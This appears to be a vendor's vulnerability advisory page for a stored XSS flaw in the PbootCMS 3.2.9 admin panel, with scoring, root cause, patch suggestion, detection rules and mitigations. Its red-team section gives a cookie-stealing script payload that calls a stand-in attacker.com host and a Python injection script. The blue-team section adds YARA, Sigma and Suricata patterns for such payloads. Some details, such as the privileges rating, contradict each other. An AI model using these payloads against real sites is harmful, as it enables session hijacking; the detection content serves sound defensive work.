CVE-2025-29389
Executive Summary
CVE-2025-29389 identifies a stored Cross-Site Scripting (XSS) vulnerability in PbootCMS version 3.2.9. The flaw resides in the admin panel at admin.php?p=/Content/index/mcode/2#tab=t2, allowing an authenticated attacker with administrative privileges to inject arbitrary web scripts or HTML. Successful exploitation could lead to session hijacking, defacement, or redirection of other admin users. The vulnerability is publicly known but currently unpatched, with no official fix from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP CMS application.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) – but note that exploitation requires an authenticated admin session, so effective PR is High.
- User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page.
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the presence of a public proof-of-concept increase the risk for unhardened installations.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the PbootCMS admin content management interface. The parameter mcode in the URL admin.php?p=/Content/index/mcode/2 is not properly sanitized before being rendered in the admin panel. An attacker with admin credentials can inject malicious JavaScript into the mcode field, which will then execute in the browsers of other administrators who view the affected content list.
Root Cause: Insufficient input validation and output encoding in the Content/index controller. The application fails to escape HTML entities when displaying the mcode parameter value.
Attack Flow:
- Attacker logs into PbootCMS admin panel.
- Navigates to
admin.php?p=/Content/index/mcode/2#tab=t2. - Injects a payload like
<script>alert('XSS')</script>into themcodeparameter. - The payload is stored in the database.
- When another admin visits the same page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (PbootCMS 3.2.9):
// In ContentController.php (approximate location)
public function index() {
$mcode = $_GET['mcode'] ?? '';
// Directly output without sanitization
echo "<div class='mcode'>" . $mcode . "</div>";
}
Patched Code (Hypothetical fix):
// In ContentController.php
public function index() {
$mcode = $_GET['mcode'] ?? '';
// Sanitize output
echo "<div class='mcode'>" . htmlspecialchars($mcode, ENT_QUOTES, 'UTF-8') . "</div>";
}
The fix requires using htmlspecialchars() or equivalent to encode HTML special characters before rendering user input.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to PbootCMS admin panel (valid credentials).
- Target URL:
http://target.com/admin.php?p=/Content/index/mcode/2#tab=t2
Exploit Payload:
// Stored XSS payload
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Step-by-Step:
- Log in to the admin panel.
- Craft the malicious URL with the payload:
http://target.com/admin.php?p=/Content/index/mcode/2&mcode=<script>alert('XSS')</script>#tab=t2 - Submit the request (e.g., via browser or curl).
- The payload is stored and will execute for any admin viewing the content list.
Automated Exploit (Python):
import requests
target = "http://target.com"
session = requests.Session()
# Login first
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin.php?p=/Login/index", data=login_data)
# Inject XSS
payload = "<script>alert('XSS')</script>"
url = f"{target}/admin.php?p=/Content/index/mcode/2&mcode={payload}"
session.get(url)
print("Payload injected. Trigger by visiting the content index page.")
Blue Team (Defense & Detection)
Detection Steps:
- Monitor admin panel access logs for unusual
mcodeparameters containing<script>oronerrorpatterns. - Deploy a Web Application Firewall (WAF) rule to block requests with HTML/JavaScript in
mcode. - Implement Content Security Policy (CSP) headers to restrict script execution.
Honeypot Setup:
- Create a fake admin account with low privileges.
- Log all
mcodeparameter values and alert on any containing<or>characters.
Indicators of Compromise (IOCs)
- URL Pattern:
admin.php?p=/Content/index/mcode/*with suspicious parameters. - Log Entries: HTTP requests containing
mcode=<script>ormcode=<img onerror=. - Network Traffic: Outbound connections from the CMS server to unknown IPs (e.g., for cookie exfiltration).
- File Changes: Unexpected modifications to
ContentController.phpor database entries in themcodefield.
Detection Engineering
YARA Rule
rule CVE_2025_29389_PbootCMS_XSS {
meta:
description = "Detects stored XSS payloads in PbootCMS admin panel"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-29389"
strings:
$xss1 = /mcode=<script[^>]*>/
$xss2 = /mcode=<img[^>]*onerror/
$xss3 = /mcode=<svg[^>]*onload/
condition:
any of them
}
Sigma Rule
title: PbootCMS Admin Panel XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-29389 via mcode parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "mcode=<"
condition: selection
falsepositives:
- Legitimate use of HTML in mcode (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-29389 PbootCMS XSS Attempt"; flow:to_server; content:"admin.php"; http_uri; content:"mcode="; http_uri; pcre:"/mcode=<(script|img|svg)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Admin Access: Restrict admin panel access to trusted IPs only.
- Input Validation: Manually patch
ContentController.phpto usehtmlspecialchars()onmcode. - WAF Rules: Block requests containing
<script>in themcodeparameter.
Long-Term Fix:
- Upgrade to a patched version when available (currently none).
- Implement a Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'none';. - Conduct a full code audit for similar XSS vulnerabilities.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious parameters:
if ($arg_mcode ~* "<script|<img|<svg") {
return 403;
}
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.